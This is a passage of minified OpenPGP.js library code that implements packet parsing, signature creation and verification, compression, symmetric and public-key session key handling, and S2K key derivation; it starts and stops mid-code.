valid OpenPGP format.");const o=await r.readByte();let c,u,h=-1,d=-1;d=0,0!=(64&o)&&(d=1),d?h=63&o:(h=(63&o)>>2,u=3&o);const f=to(h);let l,p=null;if(f){if("array"===V.isStream(e)){const e=new a;i=D(e),p=e}else{const e=new S;i=D(e.writable),p=e.readable}n=t({tag:h,packet:p})}else p=[];do{if(d){const e=await r.readByte();if(l=!1,e<192)c=e;else if(e>=192&&e<224)c=(e-192<<8)+await r.readByte()+192;else if(e>223&&e<255){if(c=1<<(31&e),l=!0,!f)throw new TypeError("This packet type does not support partial lengths.")}else c=await r.readByte()<<24|await r.readByte()<<16|await r.readByte()<<8|await r.readByte()}else switch(u){case 0:c=await r.readByte();break;case 1:c=await r.readByte()<<8|await r.readByte();break;case 2:c=await r.readByte()<<24|await r.readByte()<<16|await r.readByte()<<8|await r.readByte();break;default:c=1/0}if(c>0){let e=0;for(;;){i&&await i.ready;const{done:t,value:n}=await r.read();if(t){if(c===1/0)break;throw Error("Unexpected end of packet")}const a=c===1/0?n:n.subarray(0,c-e);if(i?await i.write(a):p.push(a),e+=n.length,e>=c){r.unshift(n.subarray(c-e+n.length));break}}}}while(l);const y=await r.peekBytes(f?1/0:2);return i?(await i.ready,await i.close()):(p=V.concatUint8Array(p),await t({tag:h,packet:p})),!y||!y.length}catch(e){if(i)return await i.abort(e),!0;throw e}finally{i&&await n,r.releaseLock()}}class io extends Error{constructor(...e){super(...e),Error.captureStackTrace&&Error.captureStackTrace(this,io),this.name="UnsupportedError"}}const no=Symbol("verified"),ao=new Set([re.signatureSubpacket.issuer,re.signatureSubpacket.issuerFingerprint,re.signatureSubpacket.embeddedSignature]);class so{static get tag(){return re.packet.signature}constructor(){this.version=null,this.signatureType=null,this.hashAlgorithm=null,this.publicKeyAlgorithm=null,this.signatureData=null,this.unhashedSubpackets=[],this.signedHashValue=null,this.created=null,this.signatureExpirationTime=null,this.signatureNeverExpires=!0,this.exportable=null,this.trustLevel=null,this.trustAmount=null,this.regularExpression=null,this.revocable=null,this.keyExpirationTime=null,this.keyNeverExpires=null,this.preferredSymmetricAlgorithms=null,this.revocationKeyClass=null,this.revocationKeyAlgorithm=null,this.revocationKeyFingerprint=null,this.issuerKeyID=new le,this.rawNotations=[],this.notations={},this.preferredHashAlgorithms=null,this.preferredCompressionAlgorithms=null,this.keyServerPreferences=null,this.preferredKeyServer=null,this.isPrimaryUserID=null,this.policyURI=null,this.keyFlags=null,this.signersUserID=null,this.reasonForRevocationFlag=null,this.reasonForRevocationString=null,this.features=null,this.signatureTargetPublicKeyAlgorithm=null,this.signatureTargetHashAlgorithm=null,this.signatureTargetHash=null,this.embeddedSignature=null,this.issuerKeyVersion=null,this.issuerFingerprint=null,this.preferredAEADAlgorithms=null,this.revoked=null,this[no]=null}read(e){let t=0;if(this.version=e[t++],4!==this.version&&5!==this.version)throw new io(`Version ${this.version} of the signature packet is unsupported.`);if(this.signatureType=e[t++],this.publicKeyAlgorithm=e[t++],this.hashAlgorithm=e[t++],t+=this.readSubPackets(e.subarray(t,e.length),!0),!this.created)throw Error("Missing signature creation time subpacket.");this.signatureData=e.subarray(0,t),t+=this.readSubPackets(e.subarray(t,e.length),!1),this.signedHashValue=e.subarray(t,t+2),t+=2,this.params=On.signature.parseSignatureParams(this.publicKeyAlgorithm,e.subarray(t,e.length))}writeParams(){return this.params instanceof Promise?W((async()=>On.serializeParams(this.publicKeyAlgorithm,await this.params))):On.serializeParams(this.publicKeyAlgorithm,this.params)}write(){const e=[];return e.push(this.signatureData),e.push(this.writeUnhashedSubPackets()),e.push(this.signedHashValue),e.push(this.writeParams()),V.concat(e)}async sign(e,t,r=new Date,i=!1){const n=re.write(re.signature,this.signatureType),a=re.write(re.publicKey,this.publicKeyAlgorithm),s=re.write(re.hash,this.hashAlgorithm);5===e.version?this.version=5:this.version=4;const o=[new Uint8Array([this.version,n,a,s])];this.created=V.normalizeDate(r),this.issuerKeyVersion=e.version,this.issuerFingerprint=e.getFingerprintBytes(),this.issuerKeyID=e.getKeyID(),o.push(this.writeHashedSubPackets()),this.signatureData=V.concat(o);const c=this.toHash(n,t,i),u=await this.hash(n,t,c,i);this.signedHashValue=N(q(u),0,2);const h=async()=>On.signature.sign(a,s,e.publicParams,e.privateParams,c,await L(u));V.isStream(u)?this.params=h():(this.params=await h(),this[no]=!0)}writeHashedSubPackets(){const e=re.signatureSubpacket,t=[];let r;if(null===this.created)throw Error("Missing signature creation time");t.push(oo(e.signatureCreationTime,V.writeDate(this.created))),null!==this.signatureExpirationTime&&t.push(oo(e.signatureExpirationTime,V.writeNumber(this.signatureExpirationTime,4))),null!==this.exportable&&t.push(oo(e.exportableCertification,new Uint8Array([this.exportable?1:0]))),null!==this.trustLevel&&(r=new Uint8Array([this.trustLevel,this.trustAmount]),t.push(oo(e.trustSignature,r))),null!==this.regularExpression&&t.push(oo(e.regularExpression,this.regularExpression)),null!==this.revocable&&t.push(oo(e.revocable,new Uint8Array([this.revocable?1:0]))),null!==this.keyExpirationTime&&t.push(oo(e.keyExpirationTime,V.writeNumber(this.keyExpirationTime,4))),null!==this.preferredSymmetricAlgorithms&&(r=V.stringToUint8Array(V.uint8ArrayToString(this.preferredSymmetricAlgorithms)),t.push(oo(e.preferredSymmetricAlgorithms,r))),null!==this.revocationKeyClass&&(r=new Uint8Array([this.revocationKeyClass,this.revocationKeyAlgorithm]),r=V.concat([r,this.revocationKeyFingerprint]),t.push(oo(e.revocationKey,r))),this.rawNotations.forEach((([{name:i,value:n,humanReadable:a}])=>{r=[new Uint8Array([a?128:0,0,0,0])],r.push(V.writeNumber(i.length,2)),r.push(V.writeNumber(n.length,2)),r.push(V.stringToUint8Array(i)),r.push(n),r=V.concat(r),t.push(oo(e.notationData,r))})),null!==this.preferredHashAlgorithms&&(r=V.stringToUint8Array(V.uint8ArrayToString(this.preferredHashAlgorithms)),t.push(oo(e.preferredHashAlgorithms,r))),null!==this.preferredCompressionAlgorithms&&(r=V.stringToUint8Array(V.uint8ArrayToString(this.preferredCompressionAlgorithms)),t.push(oo(e.preferredCompressionAlgorithms,r))),null!==this.keyServerPreferences&&(r=V.stringToUint8Array(V.uint8ArrayToString(this.keyServerPreferences)),t.push(oo(e.keyServerPreferences,r))),null!==this.preferredKeyServer&&t.push(oo(e.preferredKeyServer,V.stringToUint8Array(this.preferredKeyServer))),null!==this.isPrimaryUserID&&t.push(oo(e.primaryUserID,new Uint8Array([this.isPrimaryUserID?1:0]))),null!==this.policyURI&&t.push(oo(e.policyURI,V.stringToUint8Array(this.policyURI))),null!==this.keyFlags&&(r=V.stringToUint8Array(V.uint8ArrayToString(this.keyFlags)),t.push(oo(e.keyFlags,r))),null!==this.signersUserID&&t.push(oo(e.signersUserID,V.stringToUint8Array(this.signersUserID))),null!==this.reasonForRevocationFlag&&(r=V.stringToUint8Array(String.fromCharCode(this.reasonForRevocationFlag)+this.reasonForRevocationString),t.push(oo(e.reasonForRevocation,r))),null!==this.features&&(r=V.stringToUint8Array(V.uint8ArrayToString(this.features)),t.push(oo(e.features,r))),null!==this.signatureTargetPublicKeyAlgorithm&&(r=[new Uint8Array([this.signatureTargetPublicKeyAlgorithm,this.signatureTargetHashAlgorithm])],r.push(V.stringToUint8Array(this.signatureTargetHash)),r=V.concat(r),t.push(oo(e.signatureTarget,r))),null!==this.preferredAEADAlgorithms&&(r=V.stringToUint8Array(V.uint8ArrayToString(this.preferredAEADAlgorithms)),t.push(oo(e.preferredAEADAlgorithms,r)));const i=V.concat(t),n=V.writeNumber(i.length,2);return V.concat([n,i])}writeUnhashedSubPackets(){const e=re.signatureSubpacket,t=[];let r;this.issuerKeyID.isNull()||5===this.issuerKeyVersion||t.push(oo(e.issuer,this.issuerKeyID.write())),null!==this.embeddedSignature&&t.push(oo(e.embeddedSignature,this.embeddedSignature.write())),null!==this.issuerFingerprint&&(r=[new Uint8Array([this.issuerKeyVersion]),this.issuerFingerprint],r=V.concat(r),t.push(oo(e.issuerFingerprint,r))),this.unhashedSubpackets.forEach((e=>{t.push(Xs(e.length)),t.push(e)}));const i=V.concat(t),n=V.writeNumber(i.length,2);return V.concat([n,i])}readSubPacket(e,t=!0){let r=0;const i=128&e[r],n=127&e[r];if(t||ao.has(n))switch(r++,n){case re.signatureSubpacket.signatureCreationTime:this.created=V.readDate(e.subarray(r,e.length));break;case re.signatureSubpacket.signatureExpirationTime:{const t=V.readNumber(e.subarray(r,e.length));this.signatureNeverExpires=0===t,this.signatureExpirationTime=t;break}case re.signatureSubpacket.exportableCertification:this.exportable=1===e[r++];break;case re.signatureSubpacket.trustSignature:this.trustLevel=e[r++],this.trustAmount=e[r++];break;case re.signatureSubpacket.regularExpression:this.regularExpression=e[r];break;case re.signatureSubpacket.revocable:this.revocable=1===e[r++];break;case re.signatureSubpacket.keyExpirationTime:{const t=V.readNumber(e.subarray(r,e.length));this.keyExpirationTime=t,this.keyNeverExpires=0===t;break}case re.signatureSubpacket.preferredSymmetricAlgorithms:this.preferredSymmetricAlgorithms=[...e.subarray(r,e.length)];break;case re.signatureSubpacket.revocationKey:this.revocationKeyClass=e[r++],this.revocationKeyAlgorithm=e[r++],this.revocationKeyFingerprint=e.subarray(r,r+20);break;case re.signatureSubpacket.issuer:this.issuerKeyID.read(e.subarray(r,e.length));break;case re.signatureSubpacket.notationData:{const t=!!(128&e[r]);r+=4;const n=V.readNumber(e.subarray(r,r+2));r+=2;const a=V.readNumber(e.subarray(r,r+2));r+=2;const s=V.uint8ArrayToString(e.subarray(r,r+n)),o=e.subarray(r+n,r+n+a);this.rawNotations.push({name:s,humanReadable:t,value:o,critical:i}),t&&(this.notations[s]=V.uint8ArrayToString(o));break}case re.signatureSubpacket.preferredHashAlgorithms:this.preferredHashAlgorithms=[...e.subarray(r,e.length)];break;case re.signatureSubpacket.preferredCompressionAlgorithms:this.preferredCompressionAlgorithms=[...e.subarray(r,e.length)];break;case re.signatureSubpacket.keyServerPreferences:this.keyServerPreferences=[...e.subarray(r,e.length)];break;case re.signatureSubpacket.preferredKeyServer:this.preferredKeyServer=V.uint8ArrayToString(e.subarray(r,e.length));break;case re.signatureSubpacket.primaryUserID:this.isPrimaryUserID=0!==e[r++];break;case re.signatureSubpacket.policyURI:this.policyURI=V.uint8ArrayToString(e.subarray(r,e.length));break;case re.signatureSubpacket.keyFlags:this.keyFlags=[...e.subarray(r,e.length)];break;case re.signatureSubpacket.signersUserID:this.signersUserID=V.uint8ArrayToString(e.subarray(r,e.length));break;case re.signatureSubpacket.reasonForRevocation:this.reasonForRevocationFlag=e[r++],this.reasonForRevocationString=V.uint8ArrayToString(e.subarray(r,e.length));break;case re.signatureSubpacket.features:this.features=[...e.subarray(r,e.length)];break;case re.signatureSubpacket.signatureTarget:{this.signatureTargetPublicKeyAlgorithm=e[r++],this.signatureTargetHashAlgorithm=e[r++];const t=On.getHashByteLength(this.signatureTargetHashAlgorithm);this.signatureTargetHash=V.uint8ArrayToString(e.subarray(r,r+t));break}case re.signatureSubpacket.embeddedSignature:this.embeddedSignature=new so,this.embeddedSignature.read(e.subarray(r,e.length));break;case re.signatureSubpacket.issuerFingerprint:this.issuerKeyVersion=e[r++],this.issuerFingerprint=e.subarray(r,e.length),5===this.issuerKeyVersion?this.issuerKeyID.read(this.issuerFingerprint):this.issuerKeyID.read(this.issuerFingerprint.subarray(-8));break;case re.signatureSubpacket.preferredAEADAlgorithms:this.preferredAEADAlgorithms=[...e.subarray(r,e.length)];break;default:{const e=Error("Unknown signature subpacket type "+n);if(i)throw e;V.printDebug(e)}}else this.unhashedSubpackets.push(e.subarray(r,e.length))}readSubPackets(e,t=!0,r){const i=V.readNumber(e.subarray(0,2));let n=2;for(;n<2+i;){const i=Ys(e.subarray(n,e.length));n+=i.offset,this.readSubPacket(e.subarray(n,n+i.len),t,r),n+=i.len}return n}toSign(e,t){const r=re.signature;switch(e){case r.binary:return null!==t.text?V.encodeUTF8(t.getText(!0)):t.getBytes(!0);case r.text:{const e=t.getBytes(!0);return V.canonicalizeEOL(e)}case r.standalone:return new Uint8Array(0);case r.certGeneric:case r.certPersona:case r.certCasual:case r.certPositive:case r.certRevocation:{let e,i;if(t.userID)i=180,e=t.userID;else{if(!t.userAttribute)throw Error("Either a userID or userAttribute packet needs to be supplied for certification.");i=209,e=t.userAttribute}const n=e.write();return V.concat([this.toSign(r.key,t),new Uint8Array([i]),V.writeNumber(n.length,4),n])}case r.subkeyBinding:case r.subkeyRevocation:case r.keyBinding:return V.concat([this.toSign(r.key,t),this.toSign(r.key,{key:t.bind})]);case r.key:if(void 0===t.key)throw Error("Key packet is required for this signature.");return t.key.writeForHash(this.version);case r.keyRevocation:return this.toSign(r.key,t);case r.timestamp:return new Uint8Array(0);case r.thirdParty:throw Error("Not implemented");default:throw Error("Unknown signature type.")}}calculateTrailer(e,t){let r=0;return B(q(this.signatureData),(e=>{r+=e.length}),(()=>{const i=[];return 5!==this.version||this.signatureType!==re.signature.binary&&this.signatureType!==re.signature.text||(t?i.push(new Uint8Array(6)):i.push(e.writeHeader())),i.push(new Uint8Array([this.version,255])),5===this.version&&i.push(new Uint8Array(4)),i.push(V.writeNumber(r,4)),V.concat(i)}))}toHash(e,t,r=!1){const i=this.toSign(e,t);return V.concat([i,this.signatureData,this.calculateTrailer(t,r)])}async hash(e,t,r,i=!1){const n=re.write(re.hash,this.hashAlgorithm);return r||(r=this.toHash(e,t,i)),On.hash.digest(n,r)}async verify(e,t,r,i=new Date,n=!1,a=ie){const s=re.write(re.publicKey,this.publicKeyAlgorithm),o=re.write(re.hash,this.hashAlgorithm);if(!this.issuerKeyID.equals(e.getKeyID()))throw Error("Signature was not issued by the given public key");if(s!==re.write(re.publicKey,e.algorithm))throw Error("Public key algorithm used to sign signature does not match issuer key algorithm.");const c=t===re.signature.binary||t===re.signature.text;if(!(this[no]&&!c)){let i,a;if(this.hashed?a=await this.hashed:(i=this.toHash(t,r,n),a=await this.hash(t,r,i)),a=await L(a),this.signedHashValue[0]!==a[0]||this.signedHashValue[1]!==a[1])throw Error("Signed digest did not match");if(this.params=await this.params,this[no]=await On.signature.verify(s,o,this.params,e.publicParams,i,a),!this[no])throw Error("Signature verification failed")}const u=V.normalizeDate(i);if(u&&this.created>u)throw Error("Signature creation time is in the future");if(u&&u>=this.getExpirationTime())throw Error("Signature is expired");if(a.rejectHashAlgorithms.has(o))throw Error("Insecure hash algorithm: "+re.read(re.hash,o).toUpperCase());if(a.rejectMessageHashAlgorithms.has(o)&&[re.signature.binary,re.signature.text].includes(this.signatureType))throw Error("Insecure message hash algorithm: "+re.read(re.hash,o).toUpperCase());if(this.rawNotations.forEach((({name:e,critical:t})=>{if(t&&a.knownNotations.indexOf(e)<0)throw Error("Unknown critical notation: "+e)})),null!==this.revocationKeyClass)throw Error("This key is intended to be revoked with an authorized key, which OpenPGP.js does not support.")}isExpired(e=new Date){const t=V.normalizeDate(e);return null!==t&&!(this.created<=t&&t<this.getExpirationTime())}getExpirationTime(){return this.signatureNeverExpires?1/0:new Date(this.created.getTime()+1e3*this.signatureExpirationTime)}}function oo(e,t){const r=[];return r.push(Xs(t.length+1)),r.push(new Uint8Array([e])),r.push(t),V.concat(r)}class co{static get tag(){return re.packet.onePassSignature}constructor(){this.version=null,this.signatureType=null,this.hashAlgorithm=null,this.publicKeyAlgorithm=null,this.issuerKeyID=null,this.flags=null}read(e){let t=0;if(this.version=e[t++],3!==this.version)throw new io(`Version ${this.version} of the one-pass signature packet is unsupported.`);return this.signatureType=e[t++],this.hashAlgorithm=e[t++],this.publicKeyAlgorithm=e[t++],this.issuerKeyID=new le,this.issuerKeyID.read(e.subarray(t,t+8)),t+=8,this.flags=e[t++],this}write(){const e=new Uint8Array([3,re.write(re.signature,this.signatureType),re.write(re.hash,this.hashAlgorithm),re.write(re.publicKey,this.publicKeyAlgorithm)]),t=new Uint8Array([this.flags]);return V.concatUint8Array([e,this.issuerKeyID.write(),t])}calculateTrailer(...e){return W((async()=>so.prototype.calculateTrailer.apply(await this.correspondingSig,e)))}async verify(){const e=await this.correspondingSig;if(!e||e.constructor.tag!==re.packet.signature)throw Error("Corresponding signature packet missing");if(e.signatureType!==this.signatureType||e.hashAlgorithm!==this.hashAlgorithm||e.publicKeyAlgorithm!==this.publicKeyAlgorithm||!e.issuerKeyID.equals(this.issuerKeyID))throw Error("Corresponding signature packet does not match one-pass signature packet");return e.hashed=this.hashed,e.verify.apply(e,arguments)}}function uo(e,t){if(!t[e]){let t;try{t=re.read(re.packet,e)}catch(t){throw new io("Unknown packet type with tag: "+e)}throw Error("Packet not allowed in this context: "+t)}return new t[e]}co.prototype.hash=so.prototype.hash,co.prototype.toHash=so.prototype.toHash,co.prototype.toSign=so.prototype.toSign;class ho extends Array{static async fromBinary(e,t,r=ie){const i=new ho;return await i.read(e,t,r),i}async read(e,t,r=ie){this.stream=T(e,(async(e,i)=>{const n=D(i);try{for(;;){await n.ready;if(await ro(e,(async e=>{try{if(e.tag===re.packet.marker||e.tag===re.packet.trust)return;const i=uo(e.tag,t);i.packets=new ho,i.fromStream=V.isStream(e.packet),await i.read(e.packet,r),await n.write(i)}catch(t){const i=!r.ignoreUnsupportedPackets&&t instanceof io,a=!(r.ignoreMalformedPackets||t instanceof io);(i||a||to(e.tag))&&await n.abort(t),V.printDebugError(t)}})))return await n.ready,void await n.close()}}catch(e){await n.abort(e)}}));const i=K(this.stream);for(;;){const{done:e,value:t}=await i.read();if(e?this.stream=null:this.push(t),e||to(t.constructor.tag))break}i.releaseLock()}write(){const e=[];for(let t=0;t<this.length;t++){const r=this[t].write();if(V.isStream(r)&&to(this[t].constructor.tag)){let i=[],n=0;const a=512;e.push(Js(this[t].constructor.tag)),e.push(B(r,(e=>{if(i.push(e),n+=e.length,n>=a){const e=Math.min(Math.log(n)/Math.LN2|0,30),t=2**e,r=V.concat([Qs(e)].concat(i));return i=[r.subarray(1+t)],n=i[0].length,r.subarray(0,1+t)}}),(()=>V.concat([Xs(n)].concat(i)))))}else{if(V.isStream(r)){let i=0;e.push(B(q(r),(e=>{i+=e.length}),(()=>eo(this[t].constructor.tag,i))))}else e.push(eo(this[t].constructor.tag,r.length));e.push(r)}}return V.concat(e)}filterByTag(...e){const t=new ho,r=e=>t=>e===t;for(let i=0;i<this.length;i++)e.some(r(this[i].constructor.tag))&&t.push(this[i]);return t}findPacket(e){return this.find((t=>t.constructor.tag===e))}indexOfTag(...e){const t=[],r=this,i=e=>t=>e===t;for(let n=0;n<this.length;n++)e.some(i(r[n].constructor.tag))&&t.push(n);return t}}const fo=/*#__PURE__*/V.constructAllowedPackets([Zs,co,so]);class lo{static get tag(){return re.packet.compressedData}constructor(e=ie){this.packets=null,this.algorithm=re.read(re.compression,e.preferredCompressionAlgorithm),this.compressed=null,this.deflateLevel=e.deflateLevel}async read(e,t=ie){await z(e,(async e=>{this.algorithm=re.read(re.compression,await e.readByte()),this.compressed=e.remainder(),await this.decompress(t)}))}write(){return null===this.compressed&&this.compress(),V.concat([new Uint8Array([re.write(re.compression,this.algorithm)]),this.compressed])}async decompress(e=ie){if(!vo[this.algorithm])throw Error(this.algorithm+" decompression not supported");this.packets=await ho.fromBinary(vo[this.algorithm](this.compressed),fo,e)}compress(){if(!wo[this.algorithm])throw Error(this.algorithm+" compression not supported");this.compressed=wo[this.algorithm](this.packets.write(),this.deflateLevel)}}const po=V.getNodeZlib();function yo(e){return e}function bo(e,t,r={}){return function(i){return!V.isStream(i)||s(i)?W((()=>L(i).then((t=>new Promise(((i,n)=>{e(t,r,((e,t)=>{if(e)return n(e);i(t)}))})))))):y(b(i).pipe(t(r)))}}function mo(e,t={}){return function(r){const i=new e(t);return B(r,(e=>{if(e.length)return i.push(e,2),i.result}),(()=>{if(e===ds)return i.push([],4),i.result}))}}function go(e){return function(t){return W((async()=>e(await L(t))))}}const wo=po?{zip:/*#__PURE__*/(e,t)=>bo(po.deflateRaw,po.createDeflateRaw,{level:t})(e),zlib:/*#__PURE__*/(e,t)=>bo(po.deflate,po.createDeflate,{level:t})(e)}:{zip:/*#__PURE__*/(e,t)=>mo(ds,{raw:!0,level:t})(e),zlib:/*#__PURE__*/(e,t)=>mo(ds,{level:t})(e)},vo=po?{uncompressed:yo,zip:/*#__PURE__*/bo(po.inflateRaw,po.createInflateRaw),zlib:/*#__PURE__*/bo(po.inflate,po.createInflate),bzip2:/*#__PURE__*/go($s)}:{uncompressed:yo,zip:/*#__PURE__*/mo(Is,{raw:!0}),zlib:/*#__PURE__*/mo(Is),bzip2:/*#__PURE__*/go($s)},_o=/*#__PURE__*/V.constructAllowedPackets([Zs,lo,co,so]);class ko{static get tag(){return re.packet.symEncryptedIntegrityProtectedData}constructor(){this.version=1,this.encrypted=null,this.packets=null}async read(e){await z(e,(async e=>{const t=await e.readByte();if(1!==t)throw new io(`Version ${t} of the SEIP packet is unsupported.`);this.encrypted=e.remainder()}))}write(){return V.concat([new Uint8Array([1]),this.encrypted])}async encrypt(e,t,r=ie){let i=this.packets.write();s(i)&&(i=await L(i));const n=await On.getPrefixRandom(e),a=new Uint8Array([211,20]),o=V.concat([n,i,a]),c=await On.hash.sha1(O(o)),u=V.concat([o,c]);return this.encrypted=await On.mode.cfb.encrypt(e,t,u,new Uint8Array(On.cipher[e].blockSize),r),!0}async decrypt(e,t,r=ie){let i=q(this.encrypted);s(i)&&(i=await L(i));const n=await On.mode.cfb.decrypt(e,t,i,new Uint8Array(On.cipher[e].blockSize)),a=N(O(n),-20),o=N(n,0,-20),c=Promise.all([L(await On.hash.sha1(O(o))),L(a)]).then((([e,t])=>{if(!V.equalsUint8Array(e,t))throw Error("Modification detected.");return new Uint8Array})),u=N(o,On.cipher[e].blockSize+2);let h=N(u,0,-2);return h=C([h,W((()=>c))]),V.isStream(i)&&r.allowUnauthenticatedStream||(h=await L(h)),this.packets=await ho.fromBinary(h,_o,r),!0}}const Ao=/*#__PURE__*/V.constructAllowedPackets([Zs,lo,co,so]);class So{static get tag(){return re.packet.aeadEncryptedData}constructor(){this.version=1,this.cipherAlgo=null,this.aeadAlgorithm="eax",this.aeadAlgo=null,this.chunkSizeByte=null,this.iv=null,this.encrypted=null,this.packets=null}async read(e){await z(e,(async e=>{const t=await e.readByte();if(1!==t)throw new io(`Version ${t} of the AEAD-encrypted data packet is not supported.`);this.cipherAlgo=await e.readByte(),this.aeadAlgo=await e.readByte(),this.chunkSizeByte=await e.readByte();const r=On.mode[re.read(re.aead,this.aeadAlgo)];this.iv=await e.readBytes(r.ivLength),this.encrypted=e.remainder()}))}write(){return V.concat([new Uint8Array([this.version,this.cipherAlgo,this.aeadAlgo,this.chunkSizeByte]),this.iv,this.encrypted])}async decrypt(e,t,r=ie){this.packets=await ho.fromBinary(await this.crypt("decrypt",t,q(this.encrypted)),Ao,r)}async encrypt(e,t,r=ie){this.cipherAlgo=re.write(re.symmetric,e),this.aeadAlgo=re.write(re.aead,this.aeadAlgorithm);const i=On.mode[re.read(re.aead,this.aeadAlgo)];this.iv=await On.random.getRandomBytes(i.ivLength),this.chunkSizeByte=r.aeadChunkSizeByte;const n=this.packets.write();this.encrypted=await this.crypt("encrypt",t,n)}async crypt(e,t,r){const i=re.read(re.symmetric,this.cipherAlgo),n=On.mode[re.read(re.aead,this.aeadAlgo)],a=await n(i,t),s="decrypt"===e?n.tagLength:0,o="encrypt"===e?n.tagLength:0,c=2**(this.chunkSizeByte+6)+s,u=new ArrayBuffer(21),h=new Uint8Array(u,0,13),d=new Uint8Array(u),f=new DataView(u),l=new Uint8Array(u,5,8);h.set([192|So.tag,this.version,this.cipherAlgo,this.aeadAlgo,this.chunkSizeByte],0);let p=0,y=Promise.resolve(),b=0,m=0;const g=this.iv;return T(r,(async(t,r)=>{if("array"!==V.isStream(t)){const e=new S({},{highWaterMark:V.getHardwareConcurrency()*2**(this.chunkSizeByte+6),size:e=>e.length});R(e.readable,r),r=e.writable}const i=K(t),u=D(r);try{for(;;){let t=await i.readBytes(c+s)||new Uint8Array;const r=t.subarray(t.length-s);let w,v;if(t=t.subarray(0,t.length-s),!p||t.length?(i.unshift(r),w=a[e](t,n.getNonce(g,l),h),m+=t.length-s+o):(f.setInt32(17,b),w=a[e](r,n.getNonce(g,l),d),m+=o,v=!0),b+=t.length-s,y=y.then((()=>w)).then((async e=>{await u.ready,await u.write(e),m-=e.length})).catch((e=>u.abort(e))),(v||m>u.desiredSize)&&await y,v){await u.close();break}f.setInt32(9,++p)}}catch(e){await u.abort(e)}}))}}class Eo{static get tag(){return re.packet.publicKeyEncryptedSessionKey}constructor(){this.version=3,this.publicKeyID=new le,this.publicKeyAlgorithm=null,this.sessionKey=null,this.sessionKeyAlgorithm=null,this.encrypted={}}read(e){if(this.version=e[0],3!==this.version)throw new io(`Version ${this.version} of the PKESK packet is unsupported.`);this.publicKeyID.read(e.subarray(1,e.length)),this.publicKeyAlgorithm=re.read(re.publicKey,e[9]);const t=re.write(re.publicKey,this.publicKeyAlgorithm);this.encrypted=On.parseEncSessionKeyParams(t,e.subarray(10))}write(){const e=re.write(re.publicKey,this.publicKeyAlgorithm),t=[new Uint8Array([this.version]),this.publicKeyID.write(),new Uint8Array([re.write(re.publicKey,this.publicKeyAlgorithm)]),On.serializeParams(e,this.encrypted)];return V.concatUint8Array(t)}async encrypt(e){const t=V.concatUint8Array([new Uint8Array([re.write(re.symmetric,this.sessionKeyAlgorithm)]),this.sessionKey,V.writeChecksum(this.sessionKey)]),r=re.write(re.publicKey,this.publicKeyAlgorithm);this.encrypted=await On.publicKeyEncrypt(r,e.publicParams,t,e.getFingerprintBytes())}async decrypt(e){const t=re.write(re.publicKey,this.publicKeyAlgorithm);if(t!==re.write(re.publicKey,e.algorithm))throw Error("Decryption error");const r=await On.publicKeyDecrypt(t,e.publicParams,e.privateParams,this.encrypted,e.getFingerprintBytes()),i=r.subarray(r.length-2),n=r.subarray(1,r.length-2);if(!V.equalsUint8Array(i,V.writeChecksum(n)))throw Error("Decryption error");this.sessionKey=n,this.sessionKeyAlgorithm=re.read(re.symmetric,r[0])}}class Po{constructor(e=ie){this.algorithm="sha256",this.type="iterated",this.c=e.s2kIterationCountByte,this.salt=null}getCount(){return 16+(15&this.c)<<6+(this.c>>4)}read(e){let t=0;switch(this.type=re.read(re.s2k,e[t++]),this.algorithm=e[t++],"gnu"!==this.type&&(this.algorithm=re.read(re.hash,this.algorithm)),this.type){case"simple":break;case"salted":this.salt=e.subarray(t,t+8),t+=8;break;case"iterated":this.salt=e.subarray(t,t+8),t+=8,this.c=e[t++];break;case"gnu":if("GNU"!==V.uint8ArrayToString(e.subarray(t,t+3)))throw Error("Unknown s2k type.");t+=3;if(1001!==1e3+e[t++])throw Error("Unknown s2k gnu protection mode.");this.type="gnu-dummy";break;default:throw Error("Unknown s2k type.")}return t}write(){if("gnu-dummy"===this.type)return new Uint8Array([101,0,...V.stringToUint8Array("GNU"),1]);const e=[new Uint8Array([re.write(re.s2k,this.type),re.write(re.hash,this.algorithm)])];switch(this.type){case"simple":break;case"salted":e.push(this.salt);break;case"iterated":e.push(this.salt),e.push(new Uint8Array([this.c]));break;case"gnu":throw Error("GNU s2k type not supported.");default:throw Error("Unknown s2k type.")}return V.concatUint8Array(e)}async produceKey(e,t){e=V.encodeUTF8(e);const r=re.write(re.hash,this.algorithm),i=[];let n=0,a=0;for(;n<t;){let t;switch(this.type){case"simple":t=V.concatUint8Array([new Uint8Array(a),e]);break;case"salted":t=V.concatUint8Array([new Uint8Array(a),this.salt,e]);break;case"iterated":{const r=V.concatUint8Array([this.salt,e]);let i=r.length;const n=Math.max(this.getCount(),i);t=new Uint8Array(a+n),t.set(r,a);for(let e=a+i;e<n;e+=i,i*=2)t.copyWithin(e,a,e);break}case"gnu":throw Error("GNU s2k type not supported.");default:throw Error("Unknown s2k type.")}const s=await On.hash.digest(r,t);i.push(s),n+=s.length,a++}return V.concatUint8Array(i).subarray(0,t)}}class xo{static get tag(){return re.packet.symEncryptedSessionKey}constructor(e=ie){this.version=e.aeadProtect?5:4,this.sessionKey=null,this.sessionKeyEncryptionAlgorithm=null,this.sessionKeyAlgorithm="aes256",this.aeadAlgorithm=re.read(re.aead,e.preferredAEADAlgorithm),this.encrypted=null,this.s2k=null,this.iv=null}read(e){let t=0;if(this.version=e[t++],4!==this.version&&5!==this.version)throw new io(`Version ${this.version} of the SKESK packet is unsupported.`);const r=re.read(re.symmetric,e[t++]);if(5===this.version&&(this.aeadAlgorithm=re.read(re.aead,e[t++])),this.s2k=new Po,t+=this.s2k.read(e.subarray(t,e.length)),5===this.version){const r=On.mode[this.aeadAlgorithm];this.iv=e.subarray(t,t+=r.ivLength)}5===this.version||t<e.length?(this.encrypted=e.subarray(t,e.length),this.sessionKeyEncryptionAlgorithm=r):this.sessionKeyAlgorithm=r}write(){const e=null===this.encrypted?this.sessionKeyAlgorithm:this.sessionKeyEncryptionAlgorithm;let t;return 5===this.version?t=V.concatUint8Array([new Uint8Array([this.version,re.write(re.symmetric,e),re.write(re.aead,this.aeadAlgorithm)]),this.s2k.write(),this.iv,this.encrypted]):(t=V.concatUint8Array([new Uint8Array([this.version,re.write(re.symmetric,e)]),this.s2k.write()]),null!==this.encrypted&&(t=V.concatUint8Array([t,this.encrypted]))),t}async decrypt(e){const t=null!==this.sessionKeyEncryptionAlgorithm?this.sessionKeyEncryptionAlgorithm:this.sessionKeyAlgorithm,r=On.cipher[t].keySize,i=await this.s2k.produceKey(e,r);if(5===this.version){const e=On.mode[this.aeadAlgorithm],r=new Uint8Array([192|xo.tag,this.version,re.write(re.symmetric,this.sessionKeyEncryptionAlgorithm),re.write(re.aead,this.aeadAlgorithm)]),n=await e(t,i);this.sessionKey=await 